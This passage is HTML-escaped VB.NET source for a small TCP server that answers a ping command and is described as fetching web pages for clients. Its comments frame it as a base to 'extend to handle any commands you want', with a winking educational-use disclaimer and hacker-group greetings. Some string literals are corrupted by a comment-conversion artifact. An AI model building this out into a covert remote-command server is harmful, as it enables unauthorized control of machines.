style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"ping"&lt;/span&gt; request.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;     So, the server responses &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;with&lt;/span&gt; a &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"IREM m here baby!"&lt;/span&gt;
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  2. &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; the first letter of the packet send by the client &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;is&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"2"&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;then&lt;/span&gt; this &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;is&lt;/span&gt; considered &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;as&lt;/span&gt; an HTTP request.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;     So, the server access the specified page &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;and&lt;/span&gt; send the web response &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the cient &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;as&lt;/span&gt; an html page.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  (C) 04th of Jan 2010
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Greetz &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; p0wnbox team @ www.p0wnbox.com
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; 
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; 
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  REMARKS:
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  You can &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;get&lt;/span&gt; this program &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;and&lt;/span&gt; extend it &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; handle any commands you want.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  I bet that you gonna use it &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;for&lt;/span&gt; educational purposes ONLY. Am i &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;right&lt;/span&gt;? ;)
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  thx... I appreciate!
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; ****************************************************************************************************************
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Imports&lt;/span&gt; System.Net.Sockets
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Imports&lt;/span&gt; System.Net
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Imports&lt;/span&gt; System.Text
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Imports&lt;/span&gt; System.IO

 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Class&lt;/span&gt; TCPSrv
     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Const&lt;/span&gt; BUFFER_SIZE &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Integer&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; 512



     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Shared&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Sub&lt;/span&gt; Main(&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;ByVal&lt;/span&gt; args &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt;())
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Must listen &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;on&lt;/span&gt; correct port- must be same &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;as&lt;/span&gt; port client wants &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; connect &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;on&lt;/span&gt;.
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; portNumber &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Integer&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; 8000 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  My &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;default&lt;/span&gt; port.
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; serverIP &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; IPAddress &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; IPAddress.Parse(&lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"127.0.0.1"&lt;/span&gt;) &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  My &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;default&lt;/span&gt; IP.
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; i &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Integer&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; 0

         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; arguments exist the use them overwriting the defaults.
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;While&lt;/span&gt; i &amp;lt; args.Length

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Select&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Case&lt;/span&gt; args(i)
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Case&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"/p"&lt;/span&gt;           &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Port Flag parameter. &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;not&lt;/span&gt; entered, port 8000 will be used.
                     i += 1          &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Skip &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the actual port parameter.
                     portNumber &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Integer&lt;/span&gt;.Parse(args(i))
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Case&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"/h"&lt;/span&gt;           &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Hosts IP Flag parameter. &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;not&lt;/span&gt; entered, ip 127.0.0.1 will be used.
                     i += 1          &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Skip &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the actual IP parameter.
                     serverIP &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; IPAddress.Parse(args(i))
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Select&lt;/span&gt;
             i += 1                  &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Skip &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;next&lt;/span&gt; argument.
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;While&lt;/span&gt;

         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; tcpListener &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;New&lt;/span&gt; TcpListener(serverIP, portNumber)

         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Try&lt;/span&gt;

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;While&lt;/span&gt; (1 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; 1)
                 tcpListener.Start()
                 Console.WriteLine(&lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"Server is listening on {0}:{1}..."&lt;/span&gt;, serverIP, portNumber)

                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; Waiting &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;for&lt;/span&gt; a client &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; be connected. 
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; tcpClient &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; TcpClient &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; tcpListener.AcceptTcpClient()

                 Console.WriteLine(&lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"Connection accepted."&lt;/span&gt;)
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Get&lt;/span&gt; the stream
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; networkStream &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; NetworkStream &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; tcpClient.GetStream()

                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Read the client &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;command&lt;/span&gt; into an 8k buffer. It could &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;not&lt;/span&gt; be greater ;)
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; bytes(8000) &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Byte&lt;/span&gt;
                 networkStream.Read(bytes, 0, 8000)

                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Return&lt;/span&gt; the data received from the client &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the console.
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; clientdata &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; Encoding.ASCII.GetString(bytes)

                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; iPos &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Integer&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;InStr&lt;/span&gt;(clientdata, &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Chr&lt;/span&gt;(0))
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; iPos &amp;gt; 0 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Then&lt;/span&gt; clientdata &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Left&lt;/span&gt;(clientdata, iPos &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;-&lt;/span&gt; 1)

                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; Acccording &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the packet (its 1st letter) send by the client we answer
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; clientdata.Substring(0, 1) &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"1"&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Then&lt;/span&gt;     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Command&lt;/span&gt; #1: R u Up request.
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; responseString &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"IREM m here baby!"&lt;/span&gt;
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; sendBytes &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; [&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Byte&lt;/span&gt;]() &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; Encoding.ASCII.GetBytes(responseString)
